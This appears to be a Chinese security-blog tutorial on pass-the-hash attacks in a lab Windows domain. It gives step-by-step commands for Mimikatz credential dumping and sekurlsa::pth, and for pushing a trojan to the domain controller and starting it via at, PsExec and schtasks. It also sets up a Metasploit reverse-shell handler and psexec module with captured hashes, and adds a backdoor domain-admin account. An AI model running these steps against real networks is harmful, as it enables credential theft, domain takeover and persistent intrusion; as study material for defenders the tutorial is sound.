本文最后更新于 2024-08-22,文章内容可能已经过时。

哈希传递攻击PTH(Pass The Hash)

免责声明

⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠

NTLM定义

NTLM是window的一种网络身份认证协议,相同的还有Kerberos认证协议。

1、NTLM是NT LAN Manager的缩写,即问询/应答(Challenge/Response)身份验证协议,是 Windows NT早期版本的标准安全协议。Windows 2000 支持 NTLM 是为了保持向后兼容。Windows 2000内置三种基本安全协议之一。
2、⽤于验证远程机器⽤户的⽹络协议,它也被称为Net-NTLM

在域环境中,由于域控制器的存在(所有域用户的哈希值都存储在域控上的 NTDS.dit中),服务器没办法直接进行“工作组验证流程”中的步骤④,只能作为“中间安全人”连通客户端和域控,并将验证过程交给域控。

一 、NTLM认证流程

image-20240619164627792

利用登录认证流程们可以渗透到域控,前提条件是拿到域控管理员的密码的hash

二、PTH简介

1、攻击原理
在使用 NTLM 身份验证的系统或服务上,用户密码永远不会以明文形式通过网络发送。 Windows 上的应用程序要求用户提供明文密码,然后调用 LsaLogonUser 类的 API,将该密码转换为一个或两个哈希值(LM或NTLM hash),然后将其发送到远程服务器进行 NTLM 身份验证。由于这种机制,我们只需要哈希值即可成功完成网络身份验证,而不需要明文密码。于是当我们获取到任意用户的 Hash 值就可以针对远程系统进行身份验证并模拟该用户,从而获取用户权限。
2、使用原因
  • 在Windows Server 2012 R2及之后版本的操作系统中,默认在内存中不会记录明文密码,只保存用户的 Hash。所以无法抓取到 lsass.exe 进程中的明文密码。
  • 随着信息安全意识的提高,大家都使用强密码,很多时候即使能拿到 hash 却无法解开。
3、LM Hash 与 NTLM Hash
(1)LM Hash
LM Hash(LAN Manager Hash):微软为了提高Windows操作系统的安全性而采用的散列加密算法。
存在的问题——易被破解:LM Hash明文密码被限制在14位以内,其本质上采用的是 DES 加密算法,所以 LM Hash 存在较容易被破解的问题。于是从 Windows Vista 和Windows Server 2008开始的 Windows 系统默认禁用了 LM Hash 。这里只是禁用,主要是为了保证系统的兼容性。如果LM Hash被禁用了,攻击者使用工具抓取的 LM Hash 通常为

aad3b435b51404eeaad3b435b51404ee

(2)NTLM Hash
NTLM Hash(NT LAN Manager):为了在提高安全性的同时保证兼容性,微软提出了 Windows NT 挑战/响应验证机制,称之为 NTLM 。个人版 Windows 从Windwos Vista 以后,服务器版本系统从 Windows server2003 以后,其认证方式均为 NTLM Hash。

简单来说,Net-ntlm hash就是ntlm hash再做了一层hash加密。

NTLM Hash的生成
  • 假设用户明文密码:y5neko123
  • 十六进制转换为:79356e656b6f313233
  • 转换为Unicode码,相当于在每个字节后添加一个0x00:790035006e0065006b006f00310032003300
  • 以十六进制进行MD4加密:2aec2647511a853cbec96388c4ae8770

三、PTH 攻击

实验环境:

域控DC:Windows Server 2008 (计算机名:web.xiaoe.com)

IP:192.168.91.153(域管理员用户[域]:administrator)

域内计算机:Windows 7 (计算机名:win7)

IP:192..168.91.133(本地管理员[工作组]:dong)

域:xiaoe.com

(前提是 域管理员 在 域内计算机:Windows 7 上登录)

操作步骤:

前提:

  1. 入侵到域内计算机 (Windows 7)

  2. 提权到系统权限

  3. 获取到域管理员的 NTLM Hash

    • load kiwi
    • creds_all 或者 kiwi_cmd sekurlsa::logonpasswords

    具体请看我的另外一篇文章:

    域渗透——信息收集中的主机发现那一章

    https://windeskyblog.love/archives/686e8b82-3ac6-457a-997c-4c15ec985097

    image-20240622154058609

    image-20240622141223414

``cmd
添加注册表:reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
强制锁屏:rundll32 user32.dll,LockWorkStation
查看明文密码: mimikatz.exe log privilege::Debug sekurlsa::logonpasswords exit    # 直接运行Mimikatz命令,不进入交互模式

4.上传mimikatz到域内计算机:Windows 7

5.在win7中使用 管理员账户运行 mimikatz

在具有管理员权限的 cmd 中运行 mimikatz.exe,获取debug权限,而后查询当前机器中所有可用凭证。

privilege::debug

log							# 在当前目录下写日志,输出结果均在日志中
privilege::debug     		# 提升至调试(debug)权限(需要本地管理员权限)
sekurlsa::logonpasswords 	# 查看所有可用的凭证(登录到本机的所有用户)

image-20240622142555551

image-20240622145008780

msv :
	 [00000003] Primary
	 * Username : Administrator
	 * Domain   : XIAOE
	 * LM       : 32801fe143b57a06b75e0c8d76954a50
	 * NTLM     : 2cbe963d0d877c8cc7d09c936f1c3b33
	 * SHA1     : ff7a40c2f412e393dff20b0385232b1190bce768
	tspkg :
	 * Username : Administrator
	 * Domain   : XIAOE
	 * Password : !@#Qwe123
	wdigest :
	 * Username : Administrator
	 * Domain   : XIAOE
	 * Password : !@#Qwe123
	kerberos :
	 * Username : Administrator
	 * Domain   : XIAOE.COM
	 * Password : !@#Qwe123
	ssp :
	credman :

获取的NTLM为:2cbe963d0d877c8cc7d09c936f1c3b33

image-20240622142819639

当前是无法访问 域控服务器2008的共享目录的

image-20240622143103424

需要域管理员密码进行登录。

image-20240622143458376

6.利用 mimikatz 进行 PTH 攻击

# sekurlsa::pth /user:用户名 /domain:域名或者域控IP /ntlm:用户的NTLM Hash
sekurlsa::pth /user:administrator  /domain:192.168.91.153  /ntlm:2cbe963d0d877c8cc7d09c936f1c3b33

image-20240622145441760

7.拷贝木马到域控服务器

在弹出的cmd中将木马上传到域控主机

copy c:\xiaoe.exe \\web\c$

image-20240622151250692

8.在kali中监听木马

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
show options
set lhost 192.168.91.129
set lport 5555
run

9.在域控服务器中 启动运行木马

# 查看域控服务器时间 
net  time /domain

# 定时启动 木马   window2012 之后 取消了 at 
at \\web 15:35 cmd.exe /c "C:\xiaoe.exe"

# 执行木马程序也可以使用下面的方案 
# 下载 PsExec 工具
PsExec.exe /accepteula /s \\web cmd /c "C:\xiaoe.exe"

# 为了更好的保持权限维持,也可以使用Windows的定时任务命令schtasks.exe创建定时运行的任务,如每天凌晨2点30分运行
SCHTASKS /Create /TN HTTPBeacon /TR C:\woniu.exe /SC DAILY /ST 02:30

image-20240622153322894

10.getshell成功

image-20240622153525673

还可以直接使用psexec工具在域控上获取一个反弹Shell,用于执行命令

PsExec.exe \\域控服务器的名字(web)  cmd.exe

net user username password /add
net group "domain admins" username /add

在MSF和CS中操作和利用

4.1 、MSF

  1. 拿下域内计算机:Windows 7

    木马上线

  2. 使用Kiwi模块

    meterpreter > hashdump
    meterpreter > load kiwi
    meterpreter > creds_all
    meterpreter > getsystem 提权到SYSTEM权限(前提默认是本地管理员登录)
    meterpreter > kiwi_cmd sekurlsa::logonpasswords
    

    image-20240622154058609

    image-20240622154202590

  3. 使用psexec模块

    use exploit/windows/smb/psexec
    show options
    set payload windows/x64/meterpreter/reverse_tcp
    set RHOST 192.168.91.153  # 域控的IP
    set SMBUser administrator
    set SMBDomain XIAOE
    # 设置SMBPass是LM加NTLM的形式,中间用:分隔
    set SMBPass 32801fe143b57a06b75e0c8d76954a50:2cbe963d0d877c8cc7d09c936f1c3b33
    show options 
    

    移动到其他机器

    set rhosts 192.168.92.142
    

image-20240622155405228

image-20240622155633192

image-20240622155539686

4.2 、CS

前提:kali开启服务端cs,开启cs客户端,生成木马,上线CS ,入侵域内计算机:Windows 7

image-20240622160623483

  1. 提权

    使用插件

  2. 查看本机信息

    image-20240622160816223

    image-20240622161136258

  3. 获取域信息

    image-20240622161355493

    image-20240622161519900

  4. 内网扫描

    image-20240622161548634

    image-20240622161702721

  5. 拿下域控

    image-20240622161737346

    image-20240622161841519

image-20240622162344452

image-20240622162026710